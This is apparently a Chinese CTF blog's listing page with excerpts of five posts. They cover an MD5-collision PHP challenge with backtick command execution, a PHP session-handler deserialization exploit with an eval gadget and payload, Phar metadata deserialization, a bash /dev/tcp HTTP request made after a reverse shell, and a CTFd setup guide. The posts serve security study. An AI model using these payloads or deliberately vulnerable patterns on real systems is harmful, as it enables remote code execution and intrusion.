CTF-MD5碰撞

题目 <?php $cmd=$_GET['cmd']; if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) { echo `$cmd`; } else { echo ("die"); } ?> 可以看到:a!==b并且md5(a)===md5(b) 工具:fastcoll 下载地址:https://www.win.tue.nl/hashclash/fastcoll_v1.0.0.5.exe.zip 使用教程: 创建一个a.txt文件,输入任意内容 指令fastcoll_v1.0.0.5.exe -p a.txt -o 1.txt 2.txt 程序运行之后,1.txt和2.txt的内容不同,但是hash值相同 生成便于提交的URL编码的验证脚本 <?php function readmyfile($path){ $fh = fopen($path, "rb"); $data = fread($fh, filesize($path)); fclose($fh); return $data; } $a = urlencode(readmyfile("./1.txt")); $b = urlencode(readmyfile("./2.txt")); $aa=urldecode($a); $bb=urldecode($b); if ((string)$aa !== (string)$bb && md5($aa) === md5($bb)) { echo $a."\n".$b; } ?>

August 2, 2024 · 1 min · Yalois

📞CTF-Web-PHPSession反序列化

基础知识 1.当session_start()被调用时,或者php.ini中的session.auto_start为1,则启用session管理,如果session存在,则使用对应的处理器访问使用在了本地的session文件,否则就新建session文件。 2.php有三种SESSION处理器,处理器负责读写session文件,有三种处理器对应的三种存储格式。如下 //三种处理器 1.php处理器 存储格式:键名1|序列化$_SESSION[键名1]的值;键名2|序列化$_SESSION[键名2]的值;... 2.php_serialize处理器(php>=5.5.4) 存储格式:序列化$_SESSION后的值 3.php_binary处理器 存储格式:键名1长度对应的ASCII字符+键名1+$_SESSION[键名1]的序列化值;键名2长度对应的ASCII字符+键名2+$_SESSION[键名2]的序列化值;... 因为存储的时候序列化了,所以读取的时候会反序列化 3.ini_set函数:https://www.php.net/manual/zh/function.ini-set.php Session反序列化漏洞的成因 session反序列化漏洞是在读取本地session的时候处理器选择错误引起的漏洞。 漏洞复现 这里用橙子科技工作室提供的代码。 save.php <?php highlight_file(__FILE__); error_reporting(0); ini_set('session.serialize_handler','php_serialize'); session_start(); $_SESSION['ben'] = $_GET['a']; ?> vul.php <?php highlight_file(__FILE__); error_reporting(0); ini_set('session.serialize_handler','php'); session_start(); class D{ var $a; function __destruct(){ eval($this->a); } } ?> 需要先访问save.php以php_serialize处理器来保存session文件,然后再访问vul.php用php处理器来读取session文件。 先根据vul提供的class来构造反序列化需要用的序列化内容 <?php class D{ var $a="phpinfo();"; function __destruct(){ eval($this->a); } } echo serialize(new D()); ?> 输出内容是 O:1:"D":1:{s:1:"a";s:10:"phpinfo();";} 然后构造a的值 |O:1:“D”:1:{s:1:“a”;s:10:“phpinfo();”;} 访问 save.php?a= |O:1:“D”:1:{s:1:“a”;s:10:“phpinfo();”;} 然后再访问vul.php会发现已经出现phpinfo了 解释 可以看到成功触发了。为什么呢? 可以查看服务器上的session文件 因为存储的时候使用php_serialize处理器, $_SESSION[‘ben’] = $_GET[‘a’]; ...

July 31, 2024 · 1 min · Yalois

👻CTF-Web-初识Phar反序列化

前言 常见的php反序列化都是通过unserilize()来实现的,除此之外还有不需要用到unserilize()的反序列化方法,比如Phar,那么来了解一下Phar反序列化 基础知识 什么是Phar PHP手册是这么说的 phar 扩展提供了一种将整个 PHP 应用程序放入单个叫做“phar”(PHP 归档)文件的方法,以便于分发和安装。 什么是 phar?phar 归档的最佳特征是可以将多个文件组合成一个文件。 因此,phar 归档提供了在单个文件中分发完整的 PHP 应用程序并无需将其解压缩到磁盘而直接运行文件的方法。此外,phar 归档可以像任何其他文件一样由 PHP 在命令行和 Web 服务器上执行。phar 有点像 PHP 应用程序的移动存储器。 Phar(PHP Archive)可以理解为一个压缩包。类似于Java的JAR文件。可以将多个PHP文件、资源和元数据打包成一个单一的文件,便于分发和部署。不经过解压就能被PHP访问。 Phar结构 1.Stub (phar文件标识) ​ 格式为=> xxx<?php xxx;__HALT_COMPILER();?> ​ 前面内容不限,后面必须以__HALT_COMPILER();结尾。 ​ 在开发中Stub是当你直接运行 PHAR 文件时执行的 PHP 代码。 ​ Stub通常用于初始化、加载其他文件或执行主要逻辑。 2.manifest (用序列化方式存储压缩文件的属性等信息) ​ phar文件本质上是一种压缩文件,其中每个被压缩文件的信息都放在这。 ​ manifest还会以序列化的形式存储用户自定义的meta-data,常常利用这一点攻击。 3.contents (压缩文件的内容) ​ 被压缩的文件内容放在这 4.signature (签名,在文件末尾) 生成Phar <?php class test{ public $name='phpinfo();'; } //创建phar对象 $phar = new phar("test.phar"); //开始构建phar文件 $phar->startBuffering(); //设置存根Stub $phar->setStub("<?php__HALT_COMPILER();?>"); //创建test利用对象 $o=new test(); //自定义Metadata 把test的实例对象传入 会以序列化的方式存入manifest $phar->setMetadata($o); //添加压缩的文件 $phar->addFromString("flag.txt","flag{123cascs}"); //结束创建,自动签名。 $phar->stopBuffering(); ?> 执行这个php文件会在目录下创建test.phar。 ...

July 31, 2024 · 1 min · Yalois

Linux的bash下建立TCP连接发送http请求

前段在ISCC里面做了个题目,反弹shell进入docker容器之后需要发送一个http请求来获取flag。但是各种命令(curl/wget)都没法用,最后绞尽脑汁想出了一个办法,那就是用/dev/tcp发送请求。今天来总结一下。之前写博客都写的十分详细,把概念什么的都写出来。。。更像个新手教程,每次写博客都花费大量的时间,我觉得还是简单点好,以后遇到问题能直接复制博客来用就行了。 #!/bin/bash #建立TCP连接,格式/dev/tcp/host/port exec 5<>/dev/tcp/www.sky233.top/80 #发送http请求,(自己构造http请求头) echo -e "GET /flag HTTP/1.1\r\nhost: www.sky233.top\r\nConnection: close\r\n\r\n" >&5 #打印返回结果 cat <&5 参考文章 https://eightpigs.io/2023/06/30/use_dev_tcp_send_http_request/ https://w0lfram1te.com/exploring-dev-tcp https://tldp.org/LDP/abs/html/devref1.html

July 30, 2024 · 1 min · Yalois

🗃️用CTFd搭建自己的CTF靶场

为什么要搭建 1.发现好多平台的题库都有一些旧 2.自己打比赛的时候会留下很多题目需要去复现(总是zip压缩之后就放在硬盘吃灰了) 搭建过程 这个博客是直接python本地跑的的并没有用Docker。 想用Docker的话就用下面的指令。 sudo docker run -d -p 8000:8000 -it ctfd/ctfd 开始正文 1.下载解压 cd ~ mkdir CTFd cd CTFd wget https://github.com/CTFd/CTFd/archive/refs/tags/3.7.2.zip unzip unzip 3.7.2.zip 2.创建python虚拟环境 python3 -m venv myvenv source myvenv/bin/activate 3.跟着官方安装教程来 pip install -r requirements.txt 也可以用prepare.sh来操作 可以根据需要来配置CTFd/config.ini,里面有安全配置,数据库和Redis什么的,我是在本地跑的完全不需要。 我直接运行了,默认使用SQLite数据库。 python server.py 因为我是跑在虚拟机里,host是127.0.0.1,虚拟机外访问不到,编辑一下server.py 把host改为0.0.0.0,其实也可以吧debug关了。 现在就能在虚拟机之外访问了。 访问4000开始配置,over 4.一键运行脚本 因为是在python venv跑的,写一个service刚才没搞出来。。先用个sh凑活一下 写一个run.sh #!/bin/bash source /home/yalois/CTFd/CTFd-3.7.2/myvenv/bin/activate nohup python /home/yalois/CTFd/CTFd-3.7.2/serve.py > /home/yalois/CTFd/CTFd-3.7.2/output.log 2>&1 & deactivate 运行脚本run.sh ...

July 15, 2024 · 1 min · Yalois